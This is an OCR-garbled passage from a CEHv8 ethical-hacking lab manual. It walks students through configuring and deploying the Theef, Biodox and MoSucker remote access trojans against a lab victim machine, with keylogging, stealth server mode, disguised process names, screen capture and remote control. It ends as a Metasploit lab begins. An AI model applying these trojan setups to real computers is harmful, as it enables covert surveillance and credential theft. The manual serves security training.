Lab Objectives

The objective of tins lab is to help students learn to detect Trojan and backdoor
attacks.

The objectives of the lab niclude:
m Creating a server and testing the network for attack
m Detecting Trojans and backdoors
m Attacking a network usmg sample Trojans and documenting all

vulnerabilities and flaws detected

Lab Environment

To carry tins out, you need:

m  Theef tool located at D:\CEH-TOOIS\CEHv8 Module 06 Trojans and
Backdoors\Trojans Types\Remote Access Trojans (RAT)\Theef
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m A computer running Windows Server 2012 as host machine

m A computer running Window Server 8 Virtual Machine (Attacker)
m  Windows Server 2008 mnning 1l Virtual Machine (Victim)

m A web browser with Internet access

m  Administrative privileges to run tools

Lab Duration

Time: 20 Minutes

Overview of Trojans and Backdoors

A Trojan is a program that contains malicious or harmful code inside apparently
harmless programming or data 111 such a way that it can get control and cause
damage, such as mining die file allocation table on a hard drive.

Note: The versions of die created client or host and appearance of die website may
differ from what it is 11 die lab, but die actual process of creating the server and die
client is same as shown 11 diis lab.

Lab Tasks

1 Launch Windows Server 2008 Virtual Machine and navigate to Z:\CEH-
Tools\CEHV8 Module 06 Trojans and Backdoors\Trojans Types\Remote
Access Trojans (RAT)\Theef.

2. Double-click Server210.exe to run die Trojan on the victim’s machine.
jija

* T'ojans T/oes » denote AcieSs “roiars (RAT) » Theef

L Dro
1»1 Date modi-ied  1-1 Type M sire H
10 .COOarar.n

Edacrvcrm)s

I passs
j readn-e.txt

dcbs v P|BIBIEBB
1 1m3upx.exe
Cemnond Shell ~rw * 1~
JA Defacenent 'rojars
A Destruave T'coans
| . Ebanang Trojans
Ji E-Mal T'ojans
FPTrojar
£ GUITrojans
i-rrTFHTPS ™ rGbrs
it ICMPBcddoor
~ MAC OS X Trojans
~ Proxy Ser\erTrojan:
Remote Access “rtge
Apocalypse
~ Al web Remd.
K). DarkCorretRAT __
~ ProRst
Theef

FIGURE 8.1: Windows Server 2008-Theef Folder

3. 1l the Open File - Security Warning window, click Run, as shown in die
following screenshot.
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Open File - Security Warning
The publisher could not be verified Are you sure you want to
run this software?
Name ...emote Access Trojans (RAT)\Theef\Server210.exe
I ] Publisher Unknown Publisher
Type Application
From Z:\CEHv8 Module 06 Trojans and Backdoors\Trojan...

Run Cancel

This file does not have a valid digital signature that verifies its
! t publisher. You should only run software from publishers you trust.
How can | decide what software to run

FIGURE 8.2: Windows Server 2008-Secuiity Warning

Launch Windows 8 Virtual Machine and navigate to Z:\CEHv8 Module 06
Trojans and Backdoors\Trojans Types\Remote Access Trojans
(RAT)\Theef.

Double-click Client210.exe to access the victim macliine remotely.
P giT1

Home Share View Manage V ©

Applicator took Theef

« & " Trcjans Types » Remote Access Trojans (RAT) » Theef v [ (j | | SearchTheef fi |

Favorites
= Desktop
£ Downloads

~  Recent places

39 Libraries
[1 Documents
1" Music
m Pictures

1i Videos

Homegroup

ff1Computer

tim Local Disk (C:)

V  CEH Tools (\\10.0.0,

Network

£ ccipara-n.ni

| Clert20exe j

iflj Ec'ltserler21 C.exe
pess.dil

| readme,tx:

“« Scanner.dll

B Sever210.ex6

uJ upx.exe

<6zip.dl

9 items litem selected S22 KB

FIGURE 8.3: Windows 8-Running Client210.exe

6. 1lthe Open File - Security Warning window, click Run. as shown 1l die
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following screenshot.
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Open Fle - Security Warning

The publisher could not be verified. Are you sure you want to run this
software?

83 Name:

Publisher Unknown Publisher

...pes\Remote Access Trojans (RAT)\Theef\Client210.exe

Type Application

From: Z:\CEHv8Module0O6Trojansand BackdoorsNTrojans T...

Run Cancel

This file does not have avalid digital signature that verifies its
publisher. You should only run software from publishers you trust.
How can I decide what software to run?

FIGURE 84: Windows 8-Security Warning
The maui window of Theef appears, as shown 1L die following screenshot.
'neetv/iu 1~ 0-

Connect

% Port 6703 FTP 2968

Connect Disconnect

A

Theef version 2.10 01/No''ember/2004

FIGURE 85: TheefMain Screen

Enter an IP address 111 the IP held, and leave die Port and FTP tields as dieir
defaults.

1 diis lab we are attacking Windows Server 2008 (10.0.0.13). Click
Connect after entering die IP address of Windows Server 2008.
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TT 7Tieefv2 10

Connect

Port 6703 FTP 2968

Connect Disconnect

A

Computer information
FIGURE 8.6: Theef Connecting to Victim Machine

10. Now ill Windows 8 you have access to view the Windows Server 2008
machine remotely.

ro -heefv.2.10

Connect

10.0.0.13 Port 6703 FTP 2968

Connect Disconnect

[15:05:31] Attempting connection with 10.0.0.13
[15:05:31] Connection established with 10.0.0.13
[15:05:31] Connection accepted

[15:05:31] Connected to transfer port

A % *Qj SY &
Connected to server

FIGURE 8.7: Theef Gained access of Victim Machine

11. To view die computer information, click die Computer icon at die bottom
of die window.

12. M Computer Information, you are able to view PC Details. OS Info, Home,
and Network by clicking on die respective buttons.
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Computer Information

Reply PCDetails received

FIGURE 88: Theef Compute! Information

13. Click die Spy icon to capture screens, keyloggers, etc. of die victim’s
machine.

p r TTieefv.2.10

Computer Information

User name: Administrator

Computer name: WIN-EGBHISG14L0
Registered organisation: Microsoft
Registered owner: Microsoft
Workgroup: [Unknown]

Available memory: 565 Mb of 1022 Mb
Processor: Genuinelntel Inte64 Family 6 Model 42 Stepping 7 (3095 Mhz)
Display res: 800 x 600

Printer: [Unknown]

Hard drives:

C:\ (6,186 Mb of 16,381 Mb free)

PC Details <#] OS Info A5 Home Network

FIGURE 89: Theef Spy
14. Select Keylogger to record die keystrokes ol die victim.

15. Mithe Keylogger window, click die Play button to record the keystrokes.
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Keylogger [Started]

cv *
FIGURE 89: Theef Keyloggei Window
16. Now go to Windows Server 2008 and type some text 111 Notepad to record
die keystrokes.

Keylogger [Started]

[New Text Document.txt - Notepad]
HiBob{BACKSRACEKBACKSPACEH{BACKSPACE}
Billy U have been hacked by the world famouse
{BACKSPACE} hacker.j[CTRL{CTRLKALT}

‘Egl <? ©

FIGURE 8.10: Theefrecorded Key Strokes
17. Similarly, you can access die details of die victim’s machine by clicking die
respective icons.

Lab Analysis

Analyze and document die results related to die lab exercise. Give your opinion on
your target’s security posture and exposure dirough public and free information.
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PLEASE TALK TO YOUR INSTRUCTOR IF YOU HAVE QUESTIONS

RELATED TO THIS LAB.

Information Collected/Objectives Achieved

Tool/Utility
Output:
Theef Victims machine PC Information
Victims machine keystorkes
Questions

1 Is there any way to falter out the "localhost:####" remote address entries?

2. Evaluate the other details displayed by “autoruns” and analyze the working
of the autonins tool.

Internet Connection Required

O Yes

Platform Supported

0 Classroom 0 !Labs
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Creating a Server Using the Biodox

Theef is a Windons based applicationfor both the clientand serverend. The Theef
server is a vims thatyon install on your victims coupliter, and the Theef clientin
nhatyon then use to control the virus.

Lab Scenario

You are a security administrator of your company, and your job responsibilities
include protecting the network from Trojans and backdoors, Trojan attacks,
theft of valuable data from the network, and identity theft.

Lab Objectives

The objective of tins lab is to help students learn to detect Trojan and backdoor
attacks.

The objectives of the lab include:
' Creating a server and testing the network tor attack
' Detecting Trojans and backdoors
m Attacking a network using sample Trojans and documenting all

vulnerabilities and flaws detected

Lab Environment

To earn”tins out, you need:

m  Biodox tool located at D:\CEH-Tools\CEHv8 Module 06 Trojans and
Backdoors\Trojans Types\GUI Trojans\Biodox Trojan

m A computer running Windows Server 2012 as Host Machine

' A computer running Window Server 8 Virtual Machine (Attacker)
' Windows Server 2008 running U1 Virtual Machine (Victim)

' A web browser with Internet access

' Administrative privileges to nm tools
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Lab Duration

Tune: 20 Minutes

Overview of Trojans and Backdoors

A Trojan is a program that contains malicious or harmful code inside apparently
harmless programming or data 111 such a way that it can get control and cause
damage, such as mining die file allocation table on a hard dnve.

Note: The versions of die created client or host and appearance of die website may
differ from what it is 111 die lab, but die actual process of creating die server and die
client is same as shown 111 diis lab.

Lab Tasks

1 Launch Windows 8 Virtual Machine and navigate to Z:\CEHv8 Module 06
Trojans and Backdoors\Trojans Types\GUI Trojans\Biodox Trojan.

2. Double-click BIODOX OE Edition.exe to mn die Trojan on die victim’s

row T Applicator took Biodox
1 1 Home Shaic Vievr Manage .
0 eyt « 1,7, nsTypes » GUITrojans » Bocox Tiojen » Biodox V| C | | Search Biodox
Favorites Jl. Language
W Desktop Pbgns
£. Downloads 3 BI3COX CE Edition.e<e]
Recent places ‘Leeme
& MSCOMCTL.OCX
39 Libraries j* MSWINSOCOCX
H) Document? A res.qf
Music g sewings.ini
B Pictures
18 Videos

FIGURE 9.1: Windows 8-Biodox Contents

3. 111 the Open File - Security Warning window, click Run. as shown in
following screenshot.

Open Fle ~ Security Warning

The publisher could not be verified. Are you sure you want to run this
software?

Name: ..lITrojans\BiodoxTrojan\Biodox\BIODOX OE Edition.exe
Publisher Unknown Publisher
Type: Application

From: Z:\CEHv8 Module 06 Trojans and Backdoors\Trojans T...

Run Cancel

This file does not have avalid digital signature that verifies its
publisher. You should only run software from publishers you trust.
How can Idecide what software to run?

FIGURE 9.2 Windows 8-Security Warning
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4. Select yourpreferred language from die drop-down list in die Biodox main
window: 111 diis lab we have selected English.

Biodox Open Source Edition

£3 commun
A passwor
manage
keyboar
msn sett

®senlngs
0

system information
@l; fin manager
commands
1 capture

server properties

<

local tools
Iw contactus

Correction Poet
ff Cermettkn 6061 ua>
g Transfer 6662
Bs<r#*n 6663
5 WebCam 6664
User Name ~ Computer... ~ Admin
Status:Ready... Coded By Who! | who@ tikkysoft.com

FIGURE 9.3: Windows 8-Biodox main window language selection

5. Now click die Server Editor button to build a server as shown 111 die
following screenshot.

Biodox Open Source Edition

-Fake Fror Message”
i I:l O O
£~ passwords .
; Msg Title
manage fifes 9 Error* | TestMessage |
3 ke r i
o eyboand 1P I*s- |biodox was here
msn settjnos Adress: Message Icon :
$  settings manage'
O systenr rifomaox! AX
T fin mwaoff r Victim Na
mmand: Name: "
P> co s me Connection; 6661 | ScreenCapture; [6663 |
\J% capture
i i - g ? :
5 strver nropprtiet r Delay Transfer]666? | webcam Capture: 6664 |
local tools

. for conrwtioi
M contact us

O Windowo o Temp 0 System32

-Regetry Settings”
ety 9 Server Mode™

K*y: mssrs:
(+> Gizli Mod O Yardyr Moou S
Correction Pxt
*3 Connection 6561
S Transfer 6562
27 Screen 6563
5 WebCam 6564
Admin | Operatin... | Cpu | Ram Coentry
Status : Read/... active / deactive status

FIGURE 9.4: Windows 8-Security Warning

6. 111 Server Editor options, enter a victim’s IP address in die IP/DNS field; in
diis lab we are using Windows Server 2008 (10.0.0.13).
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7. Leave die rest of die settings at dieir defanltd; to build a server click die
Create Server button.

Note: IP addresses may ditter 111 your classroom labs.

Biodox Open Source Edition

Server Editor

|H 7
113 commuucaton
e 000
Msg Title :  [ErfQH |

manage files Isg Title |ErfQl

keyboard APIDISS e Message :  [biodox was here

msn settings .

Adress: 110.0.0 13| Message Icon :

settings maTage”
~ systen- mfomaton © A

» fir manager

commands N et
ame:  |viictim Connection: [6661 | ScreenCapture: [6663 |
capture
2j server properties } Connection Delay— Transfer{6662 | webcam Capture: [6664 |
#f k>:al tools W

OY) contactus
O Wwindows O Temp 0 S5ystem32

-Registry Settings”
server Mode -

Key mssrs32
© Gizli Mod O Yardyn~ MoCu 0
Vakje: mssrs32.exe

Correction Port

25 Connection 6561 Ju

® Transfer 6562 -

?7? Screen 6563

S WebCam 6564
Vetim Mame 1P Adress UserNarre  Computer... Admin Operatin... Cpu Ram Couitry
Status : Ready... create server

FIGURE 9.5 Bodox Main Screen

Server.exe tile will be created 111 its default directory: Z:\CEHv8 Module 06
Trojans and Backdoors\Trojans Types\GUI Trojans\Biodox Trojan.

I
Applicator Toots Biodox
| | Home Share View Manage s o
5 O - ¢ g « Trcjans Types » GUITrojons » D-odox Trojen » Biodox \/10| | Scorch Biodox
-Z Favorites J4 Language
E Desktop M PIj9"t
4 Downloads BIOCOX Cb feditiOn.e<e
K\l Recent places jpUinw
MSCOMCTL.OCX
Libraries gMS\AINSCK.0CX
0 Documents £ les.gf
3" Music p /[ server.exe”)
B Pictures ft Sertingj.ini
0 Videos

FIGURE 9.5: Bodox services

9. Now switch to Windows Server 2008 Virtual Machine, and navigate to
Z:\CEHv8 Module 06 Trojans and Backdoors\Trojans Types\GUI
Trojans\Biodox Trojan to mil die server.exe tile.
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* r0)or» "ypea - GUI Trojon* - 3odo<c Tro,0h - Biodox & = JttJiF - e
Ple edit /1eA’ ~ools iep
Crgrm:e ~ » (_Open a
Falorite Links 1% tnodfi«d 1*1 Typ’ IVB H
f Docuncnts |
%L Pictu-es 41b1X0A Or &4tor.ete
Rj Music p Leetre
More » <EmSc<*ct..oox
MSWINSCK.C O
"serangs.r
. Ajmen
A 3iodolc Trojan
J. Botox
JA Language
J4 Pogne

FIGURE 9.6: Bodox server.exe

10. Double-click server.exe 111 Windows Server 2008 virtual macliine, and click
Run 1l1 die Open File - Security Warning dialog box.

|0pen File - Security Warning

The publisher could not be verified. Are you sure you want to
run this software?

Name: ...pes\GUI Trojans'Biodox Tr0jatVf310dOx\server.exe

E Publisher: Unknown Publisher

Type: Application
From: Z:\CEHv8 Module 06Trojans and Backdoors\Trojan...

Run Cancel

This file does not have a valid digital signature that verifies its
th publisher. You should only run software from publishers you trust.
How can Idecide what software to run*

FIGURE 9.7: Run the tool

11. Now switch to Windows 8 Virtual Macliine and click die active/deactive
status button to see die connected machines.

CEH Lab Manual Page 502 Ethical Hacking and Countenneasures Copyright © by EC-Council
All Rights Reserved. Reproduction is Stricdy Prohibited.



Module 06 - Trojans and Backdoors

Biodox Open Source Edition

Server Editor

S commenicaton S
passwords D Q MsgTIUc;  [br-or 3

manage ftes
j keyboard Message:  [biodox w
fla msnsettjnos

- Adress:  10.0.013 Message Icon :
settings ma-iage
O system nfomatr>n
'#» finmanaoer - Vetim flame™
jj' commands Name: Ivic

Ll capture Connection: [6661 | Saeen Captjre : (6663 |
u

3 server properties "

prop: r connegtion Delay-
A local tools :
“ ee. 'JT connectioi
\) contactus

-Regetry Sewings-

Transfer|66s? | webcam Capture: [6664 |

O windows O Temp 0 System32

*server Mode-

Key mssrs:
© Gizli Mod O Yardyrr Mocu
Connection Pxt
S Connection 6561
Transfer 6962
® Saeen 6563
® WebCam 6564
Vctom Name IP Adress User Narre Con>putcr...  Admin Operatin...  Cpu Ram Coentry
Status :Settings saved and server created( active / deactive status

FIGURE 9.8: Bodox open source editior

12. After getting connected you can view connected victims as shown 11l die
following screenshot.

Biodox Open Source Edition
27 passwords Msg Title:  [Errofl |
manage fles
keyboard Message :  |biodox was here

msn settinos
Adress: 10.0.013 Message Icon ;

settings maTage”
systerr nftymaton © X V

o —_—
‘st fin manager
commands Connection: [6661 | Saeen Capture: [6663 |
|i| capture
ijj server proprtlsc ¢ Connection Delay — Transfer:[6662 | webcam Capture: [6€€4 |
~ local tools

~}) contact us ocby[l0 | fer T T T Fe——

O windowo O Temp

r Server Mode-
Key mssrs32
O Yordyro Modu
mssrs32e:

|
S Connection 6561 | D

H Transfer 6562
"5 Saeen 6563
S WebCam 6564
&fﬁ: . IP Adress Ussi Marcs__ CaniButfir...__Admin Qpsratin...__cpu

Adrrinistr. 'WIN-EGB. Win Vista 3D93 0.99GB  United

Status :dient Active

FIGURE 9.9: Bodox open source editior

13. Now you can perform actions with die victim by selecting die appropriate
action tab in die left pane of die Biodox window.

14. Now click the settings manager opdon to view the applications running
and odier application settings.
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Biodox Open Source Edition

01

Name PID Path Memory ... Priority a

commuiicaton S1 (system pr... 0 System 0 O
A passwords H=Jcytttm 4 System 0
_ msnags fles 23smss.exe 432 System 920792 Normal H
J keyboard H3csrss.exe 500 System 5701632 Normal
fla msnsettmas csrss.exe 544 System 7430144 Notrial
9 settings maTagy : ) B
Hlwmmite>e 552 System 4849664 Hiob
1 apjlicatons - | L-J vinlogon exe 580 System 6287360 High
A ap”icaton setbnos i O
£ oxdlore setings tpservees.exe 628 System 7188480  Normal
c3 pmt 1Q kass.exe 640 System 10821632 Normal [E—
~ services 5lism .exe 648 System 4812800 Normal
0 system information iy svchostexe 836 System 6418432 Normal
'$¢ fun manager 13 svcfostexe 896 System 7192576 Normal
jit commands svchostexe 992 System 9965568 Normal O
A capture iij)svchostexe 1015 System 7016448 Normal
j serverproperoe; svchostexe 244 System 33181695  Normal 1*1
A loral tools iiJdsvcexe 296 System 12562432 Normal
W) contactus svchostexe 360 System 12091392 Normal « Nl
Connection Pxt
5 Connection 6561
Transfer 6962
® Screen 6563
® WebCam 6564
2 Adress User Narre  Computer.. Admin  Operatin... Cpu
Admmstr...  WIN-EGB. True 0.99GB  United...
Status : successfully Clear Application List

FIGURE 9.9: Boclox open source editor

15. You can also record die screenshots of die victim by clicking die Screen
Capture button.

16. Click die Start Screen Capture button to capture screenshots of die
victim’s machine.

FIGURE 9.10: screen capmre

17. Biodox displays the captured screenshot of the victim’s machine.
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Vo o41x o w v Saeen Capture X

Retydean

Nr* Tett
Doarvw.txr

FIGURE 9.11: screen capture

18. Similarly, you can access die details of die victim’s machine by clicking die
respective functions.

Lab Analysis

Analyze and document die results related to die lab exercise. Give your opinion on
your target’s security posmre and exposure dirough public and tree information.

PLEASE TALK TO YOUR INSTRUCTOR IF YOU HAVE QUESTIONS
RELATED TO THIS LAB.

Tool/Utility Information Collected/Objectives Achieved

Biodox Output:
Record the screenshots of the victim machine

Internet Connection Required
O Yes 0 No
Platform Supported

0 Classroom 0 !Labs
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Creating a Server Using the
MoSucker

MoSucker is a Visual Basic Trojan. M0OSnke/Js edit serverprogram has a client
)rith the same layout as suhSeven's client.

Lab Scenario

A backdoor is a secret or unauthorized channel for accessing computer system.
111 an attack scenario, hackers install backdoors 011 a machine, once
compromised, to access it 111 an easier manner at later times. With the growing
use of e-commerce, web applications have become the target of choice for
attackers. With a backdoor, an attacker can virtually have full and undetected
access to your application for a long time. It is critical to understand the ways
backdoors can be installed and to take required preventive steps.

You are a security administrator of your company, and your job responsibilities
include protecting the network from Trojans and backdoors, Trojan attacks,
theft ot valuable data Jtrom the network, and identity theft.

Lab Objectives

The objective of this lab is to help students learn to detect Trojan and backdoor
attacks.

Tlie objectives of the lab include:
m Creating a server and testing the network for attack
m Detecting Trojans and backdoors
m Attacking a network using sample Trojans and documenting all

vulnerabilities and flaws detected

Lab Environment

To carry tins out, you need:

m  MoSucker tool located at D:\CEH-TOOIS\CEHv8 Module 06 Trojans and
Backdoors\Trojans Types\GUI Trojans\MoSucker

' A computer running Windows Server 2012 as host machine
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m A computer running Window Server 8 Virtual Machine (Attacker)
m  Windows Server 2008 running 1 Virtual Machine (Victim)
m A web browser with Internet access

m  Administrative privileges to mil tools

Lab Duration

Time: 20 Minutes

Overview of Trojans and Backdoors

A Trojan is a program diat contains malicious or harmful code inside apparendy
harmless programming or data 111 such a way that it can get control and cause
damage, such as ruining die file allocation table on a hard drive.

Note: The versions of die created client or host and appearance of die website may
differ from what it is in die lab, but die actual process of creating die server and die
client is same as shown 111 diis lab.

Lab Tasks

3 task 11 Launch Windows 8 Virtual Machine and navigate to Z:\CEHv8 Module 06

C€reate Server

Trojans and Backdoors\Trojans Types\GUI Trojans\MoSucker.

with ProRat2. Double-click die CreateServer.exe file to create a server.

CEH Lab Manual Page 507

F -p i - Applicator Tools MoSucker

| Home sh View Manage
Trcjans Types » GUITrojans » MoSuckcr V|« | | Scorch MoSucker

< Favorites J1AY Firewall efents
= Desktop Jtegi
ft Downloads Jl pijg ns
'2Al Recent place} j-runtimkK
screenshots
04 Libraries Ji slons
Q Documents j . stub
A Music | ~Cfea?eServer.exe |
M Pictures MjSjcLcr exe
Qj Vid»oc 1 ReadMe.txt

I0iterrc 1lit*m cel»rt#d 456 K2

FIGURE 10.1: Install createServer.exe

3. 1Mlthe Open File - Security Warning dialog box, click Run.

Ethical Hacking and Countermeasures Copyright © by EC-Council
All Rights Reserved. Reproduction is Stricdy Prohibited.



Module 06 - Trojans and Backdoors

Open File ~ Security Warning

The publisher could not be verified. Are you sure you want to run this
software?

Name: ...Trojans Types\GUI Trojans\MoSucker\CreateServer.exe
S 3 Publisher Unknown Publisher
Type: Application

From: Z:\CEHv8 Module 06 Trojans and BackdoorsVTrojans T...

Run Cancel

This file does not have avalid digital signature that verifies its
publisher. You should only run software from publishers you trust.
How can Idecide what software to run?

FIGURE 10.2: Install createServer.exe

£/ Tools 4. The MoSncker Server Creator/Editor window appears, leave die default
demonstrated in settings and click OK.

this lab are

available in MoSucker 3.0

D:\CEH- Server Creator/Editor

ToolS\CEHV8 o e S e o

Module 06 Trojans
and Backdoors

(+  l'wantto create a stealth trojan server for a victim

L Indude Msvbvm60.dIl in your MoSucker server (adds 750 KB) CD
17 Indude mswinsock.ocx in your server (adds 50 KB) Recommended! (6D]
17 Pack for minimal file size

MoSudcer Transport Cipher Key

TWQPQJL25873I1VFCSIQK13761 \U
V Add | 2385 KB to the server. V)
( l'wantto create a visible server for local testing.

I want to edit an existing server

17 Start configuration after creating the server
About Cancel Ok

FIGURE 10.3: Install createServer.exe

5. Use die file name server.exe and to save it 1l die same directory, click
Save.
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& MoSucker Server Creator.
e 0 A~ [« GUITrojans » MoSucker Search MoSucker
Organize w New folder
0 Documents * Name Date modified Type
J 1 Music

i. AV Firewall events

Pictures Xg'

9/19/2012 1:37 PM File foldei
9/19/20121:37 PM File foldei

8 Videos
J plugins 9/19/2012 1:37PM  File foldei
X runtimes 9/19/20121:37 PM  File foldei
Homegroup
J. screenshots 10/1/2012 6:56 PM  File foldei
X- skins 9/19/2012 1:37 PM File foldei
:m Computer
J  stub 10/1/2012 6:50 PM File foldei

~  Local Disk (C)

Jp CreateServer.exe 11/28/2002 2:59 AM  Applicatia

VvV CEH-Tools (W10

jg| MOSucker.exe 11/22/2002 5:10 PM  Applicatifl

~  Network

File Qamed 5

Saveastype Executable Files (*.exe)

“m Hide Folders Save Cancel

FIGURE 104: Save Server.exe

MoSucker will generate a server with the complete settings in die
directory.

MoSucker 3.0

G enerating server...
100% complete

Build Date: 11/28/2002 2:04:12 AM
Build Info:  MoSucker 3.0 Public Release B

Level Accessed: Public UPX

Verifying necessary filepaths
Preparing first stub
Preparing second stub
Packing first stub

Packing second stub
Modifying file headers

FIGURE 105: Install server progress

Click OK 111 die Edit Server pop-up message.

Edit Server 3.0

Server created successfully!
Server size: 158 KB.
Do notrepack server.

OK

FIGURE 10.6: Server created successful

default

111 the MoSucker wizard, change die VictinVs Name to Victim or leave all

the settings as dieir defaults.

Ethical Hacking and Countermeasures Copyright © by EC-Council
All Rights Reserved. Reproduction is Stricdy Prohibited.



Module 06 - Trojans and Backdoors

MoSucker 3.0

Extension(s):  exe,pif,bat,dliope,com,bpq,xtr,txp,

Conrectior-Bort: 142381

Selected Server: [2:VCEHv8 Modde 06 Trojans and Backdoors\Trojans Type [ Close
Server ID:  1501704QWEYJC:4264200TPGNDEVC O
Password
Cypher Key: TWQPCUL25873IVFCSIQK13761 w
[ Notification 1 Victim's Name:  |vict'm ~1 W
f Notification 2 Server Name(s):  kernel32,mscOnfig,winexec32,netconfig”
Options O

Jw@- I* Prevent same server multi-infections (recommended)

You may select a windows icon to associate

Fake Error with your custom file extension/s.

File Properties

Read Save

FIGURE 10.7: Give die victim machine details

9. Now click Keylogger 11 die left pane, and check die Enable off-line
keylogger opdon, and dien click Save.

10. Leave die rest of die settings as dieir defaults.

MoSucker 3.0

Selected Server: Izm"s\/lodule 06 Trojans and Backdoors\Trojans Type [ C~\ Close

Name/Port . A R
P I !Enable off-line keyioggetj m

Password
Log Filename:
monitor.kig w

Options 1 Enable Smart Logging W

Captwn key words to trigger keylogger (separate each with a comma)
hotmad,yahoo',login'password,bankfsecurefcheckoutfregister,

Keylogger

Plug-ns <11

Fake Error

Fde Properties

Read Save

FIGURE 10.8: Enable the keylogger

11. Click OK 1ll die EditServer pop-up message.

MoSucker EditServer 3.0
Server saved successfully.

O Final server size: 158 KB
OK

FIGURE 10.9: Server save file
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12. Now switch to Windows Server 2008 Virtual Machine, and navigate to
Z\CEHv8 Module 06 Trojans and BackdoorsVTrojans Types\GUI
Trojans\MoSucker to run die server.exe hie.

3 2 A X1
SH |
Pit Edl Vew -~odi etep
Vimt * ©
favorite Links »-H |- um
IL AVFrms| e\en3
£ Aitres
1« MP
|+
v g
“=N\SESe
| ~ AN I

FIGURE 10.10: click server.exe

13. Double-click server.exe in Windows Server 2008 virtual machine, and click
Run 1l1 die Open File - Security Warning dialog box.

Open File - Security Warning x1
The publisher could not be verified. Are you sure you want to
run this software?

Name: ...s\Tlojans Types\GUI TrojansV'loSucker'lserver.exe

Publisher: Unknown Publisher
Type: Application

From: Z:\CEHv8 Module 06 Trojans and Backdoors\Ttojan...

Run Cancel

| . This file does not have a valid digital signature that verifies its
fl publisher. You should only run software from publishers you trust.
How can Idecide what software to run®

FIGURE 10.11: Clickon Run

14. Now switch to Windows 8 Virtual Machine and navigate to Z:\CEHv8

Module 06 Trojans and BackdoorsVTrojans Types\GUI Trojans\MoSucker
to launch MoSucker.exe.

15. Double-clickMoSucker.exe.
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K W Applicator took MoSucker
1n 1 Ibme Share View' Manage
Jo ) *( t1ii * t"pnj Typca » GUITrojanj » MoSucker v C | Scorch MoSucker

-{ Favorite AY Frewalelents  -J! Server.exe

K Desktop M c9

6 Downloads 3 pligns
ffil Recent ploto 1 runtime
£ scretnshocs

Agi Libraries
H] Documents
Music

[KJ Pictures

slons
stub

$ CreaweServer.exe
AMoSuderpe]
jl ReadMe.M

IHI Videos

11 items litem selerted 3.08 MB

FIGURE 10.12: click on Mosuker.exe

16. M tlie Open File —Security Warning dialog box, click Run to launch

MoSucker.

Open File - Security Warning

The publisher could not be verified. Are you sure you want to run this

software?

Name: ...rs\Trojans Types\GUI Trojans\MoSucker\MoSucker.exe
83 Publisher:  Unknown Publisher

Type: Application

From: Z:\CEHv8 Module 06 Trojans and Backdoors\Trojans T...

Run Cancel

This file does not have avalid digital signature that verifies its
publisher. You should only run software from publishers you trust.
How can Idecide what software to run?

FIGURE 10.13: Run the applicatin

17. Tlie MoSucker main window appears, as shown 111 die following figure.

10.0.012

Misc stuff
Infotmation
File related
System

Spy related
Fun stuff |
Fun stuff Il
Live capture

1[10005

uiivui.mosuchcr.tkK

FIGURE 10.14: Mosucher mainwindow
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18. Enter the IP address of die victim and port number as you noted at die time
of server configuration, and dien click Connect.

19. 1M diis lab, we have noted Windows Server 2008 virtual machine’s IP
address (10.0.0.13) and port number: 4288.

Note: These might differ 111 your classroom labs.

FIGURE 10.15: connect to victimmachine

20. Now die Connect button automatically turns to Disconnect after getting
connected widi die victim machine as shown 111 the following screenshot.

version 3.0

FIGURE 10.16: connection established

21. Now click Misc stuff 111 die left pane, which shows different options from
which an attacker can use to perform actions from liis or her system.

Ethical Hacking and Countermeasures Copyright © by EC-Council
All Rights Reserved. Reproduction is Stricdy Prohibited.



Module 06 - Trojans and Backdoors

& Tools
demonstrated in
this lab are
available in
D:\CEH-
Tools\CEHVS8
Module 06 Trojans
and Backdoors

"About

FIGURE 10.17: setting server options

22. You can also access the victim’s machine remotely by clicking Live capture

in the left pane.

23. Mithe Live capture option click Start, which will open the remote desktop

of avictim’s machine.

Misc stuff
Information
File related
System

Spy related
Fun stuff |
Fun stuff I
Live capture

Start
Settings

'"About’ _ ~x]
| 4288 1 Disconnect 1l Options ] sg J& Q

make screenshot

Make screenshot

JPEG Quality:
* 20%
o I
o A%
o T%
¢ 60%
e 70%
¢ 80%
O 90%

& 0oif

FIGURE 10.18: start capturing

24. The remote desktop connection ot die victim’s machine is shown 111 die

following tigiire.
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RA mode options
Resile windo-v to 4:3

JPG Qualty 1 v
Delayinms | 1000

W send mouseclicks
W send pressed keys

Send mousemoves
W Autollpdate pics
V' Fullscreen

Remote administration mode

. ad
SSsel sssaki

FIGURE 10.19: capturingvictimmachine

25. You can access tiles, modify die files, and so on in diis mode.

RA mode options

Resize window to 4:31

JPG Quality 190%  ¥j
Delayinms | 1000

W Send mouseclcks
W Send pressed Leys
T Send mausemoves
W Autolipdate pics

Fullscrecp

L2

A

Remiote administration mode

Crere:5FHB

* Agnt

FIGURE 10.20: capturing victimmachine

26. Similarly, you can access die details of die victim’s machine by clicking die
respective functions.

Lab Analysis

Analyze and document die results related to die lab exercise. Give your opinion on
your target’s security posUire and exposure through public and free information.
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PLEASE TALK TO YOUR INSTRUCTOR IF YOU HAVE QUESTIONS
RELATED TO THIS LAB.

Tool/Utility Information Collected/Objectives Achieved

Mosucker Output:
Record the screenshots of the victim’s machine

Questions
1. Evaluate and examine various methods to connect to victims if they are 111

different cities or countries.
O Yes 0 No
Platform Supported

0 Classroom 0 iLabs
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Hack Windows 7 Using Metasploit

M etasp/oit Frame// ork is a toolfor developing and executing exploit code against a
remote target machine.

Lab Scenario

Large companies are common targets for hackers and attackers of various kinds
and it is not uncommon for these companies to be actively monitoring traffic to
and from their critical IT mfrastnicture. Based 01l the functionality of the
Trojan we can safely surmise that the intent of the Trojan is to open a backdoor
011 a compromised computer, allowing a remote attacker to monitor activity and
steal information from the compromised computer. Once installed inside a
corporate network, the backdoor feamre of the Trojan can also allow the
attacker to use the initially compromised computer as a springboard to launch
further forays into the rest of the infrastructure, meaning that the wealth of
liitormation that may be stolen could potentially be far greater than that existing
011 a single machine. A basic principle with all malicious programs is that they
need user support to do the damage to a computer. That is the reason why
Trojan horses try to deceive users by showing them some other form of email.
Backdoor programs are used to gam unauthorized access to systems and
backdoor software is used by hackers to gain access to systems so that they can
send 111 the malicious software to that particular system. Successful attacks by
the hacker 01" attacker infecting the target environment with a customized
Trojan horse (backdoor) determines exploitable holes 111 the current security
system.

You are a security administrator of your company, and your job responsibilities
include protecting the network from Trojans and backdoors, Trojan attacks,
theft of valuable data from the network, and identity theft.

Lab Objectives

The objective of tins lab is to help students learn to detect Trojan and backdoor
attacks.

The objectives of the lab include:

m Creating a server and testing the network for attack
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m Attacking a network using sample backdoor and monitor the system
activity

Lab Environment

To cany diis out, you need:
m A computer running Window Server 2012
' BackTrack 5 r3 running in Virtual machine
